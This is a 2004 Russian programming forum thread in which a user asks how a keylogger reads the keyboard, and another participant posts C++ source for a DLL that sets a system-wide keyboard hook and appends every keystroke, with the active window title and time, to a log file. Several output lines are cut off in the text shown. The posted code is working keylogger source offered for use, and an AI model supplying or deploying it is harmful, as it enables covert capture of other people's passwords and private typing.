seg_r |
Отправлено: 05.02.2004, 15:06 |
|
Дежурный стрелочник
Группа: Участник
Сообщений: 74
|
Про getkeystate никто не хочет ничего говорить, тогда, объясните мне неразумному, как работает клавиатурный шпиён, а конкретно про то как он считывает клавиатуру...
Спасибо!!! |
|
Gedeon |
Отправлено: 05.02.2004, 15:14 |
|
Ветеран
Группа: Модератор
Сообщений: 1742
|
Для его работы нужно поставить WideSystemHook, который живет в dll.
|
|
seg_r |
Отправлено: 05.02.2004, 17:52 |
|
Дежурный стрелочник
Группа: Участник
Сообщений: 74
|
QUOTE | Для его работы нужно поставить WideSystemHook, который живет в dll. |
где и как это делать??? |
|
Ламер (редкий) |
Отправлено: 05.02.2004, 18:04 |
|
Не зарегистрирован
|
это заголовок:
#ifndef EXTERNAL_LIB_FUN
#define EXTERNAL_LIB_FUN extern "C" __declspec(dllimport)
#endif
//внешняя функция:
EXTERNAL_LIB_FUN UINT CALLBACK HookOperations(
BOOL //логическая переменная, определяющая, устанавливать или убирать хук
);
//процедура хука
DWORD CALLBACK KeyboardProc(int , WPARAM , LPARAM);
а это реализация:
#include
#include
#include
#define EXTERNAL_LIB_FUN extern "C" __declspec(dllexport)
#include "Hook.h"
//значения, возвращаемые функцией HookOperations
#define HOOK_INSTALLED 1
#define HOOK_UNINSTALLED 2
#define HOOK_ERROR 0
//глобальные переменные
int nCode;
MSG nMsg;
WPARAM wParam;
LPARAM lParam;
HINSTANCE hinstHookDLL=NULL; //дескриптор DLL
static HHOOK hHook=NULL; //дескриптор ловушки
//////////////////////////////////////////////////////////////////////////////
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)
{
switch(fwdreason)
{
case DLL_PROCESS_ATTACH:
hinstHookDLL=hinstDLL;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
//////////////////////////////////////////////////////////////////////////////
//внешняя функция управления ловушкой
UINT CALLBACK HookOperations(BOOL SetHook)
{
UINT Res;
if(SetHook)
{
//устанавливаем ловушку
hHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,
hinstHookDLL,0);
if(hHook)
{
Res=HOOK_INSTALLED;
}
else
{
Res=HOOK_ERROR;
}
}
else
{
if(hHook)
{
//убираем ловушку
UnhookWindowsHookEx(hHook);
//обнуляем дескриптор ловушки
hHook=NULL;
Res=HOOK_UNINSTALLED;
}
}
return Res;
}
//процедура хука
DWORD CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
static char AppInfo[255];
static int Count;
char lParamString[30];
char AppName[255], DateTime[255], Buffer[255];
time_t CurTime;
struct tm *NewTime;
ofstream outfile("C:\\Projects\\Log1.txt",ios::out|ios::app);
if(nCode==HC_ACTION)
{
GetWindowText(GetForegroundWindow(),AppName,sizeof AppName);
if(strcmp(AppInfo,AppName)!=0)
{
strcpy(AppInfo,AppName);
CurTime=time(NULL);
NewTime=localtime(&CurTime);
strcpy(DateTime,asctime(NewTime));
outfile<
outfile<<"*****************************************"<
outfile<
outfile<
outfile<<"*****************************************"<
Count=0;
}
itoa(abs(lParam),lParamString,10);
if((strlen(lParamString)==10)||(strlen(lParamString)==9))
{
GetKeyNameText(lParam,Buffer,sizeof Buffer);
if(Count%100==0)outfile<<" "<
else outfile<<" "<
Count++;
}
}
outfile.close();
return CallNextHookEx(hHook,nCode,wParam,lParam);
}
регистры букв не различает и инфу не шифрует, но пашет исправно |
|
seg_r |
Отправлено: 05.02.2004, 23:20 |
|
Дежурный стрелочник
Группа: Участник
Сообщений: 74
|
Че-то я наверное тупой, я ни фига не понял...
Может кто-нить даст ссылочку на дополнительную инфу...
Отредактировано seg_r — 06/02/2004, 00:23 |
|
Gedeon |
Отправлено: 06.02.2004, 10:50 |
|
Ветеран
Группа: Модератор
Сообщений: 1742
|
Вот:
https://rxlib.ru/forums/index.php?ac...f15137573550ffe
|
|
seg_r |
Отправлено: 07.02.2004, 10:36 |
|
Дежурный стрелочник
Группа: Участник
Сообщений: 74
|
все отлично со всем разобрался, кроме того, почему в фаре или в дос приложениях не пашет???? |
|
|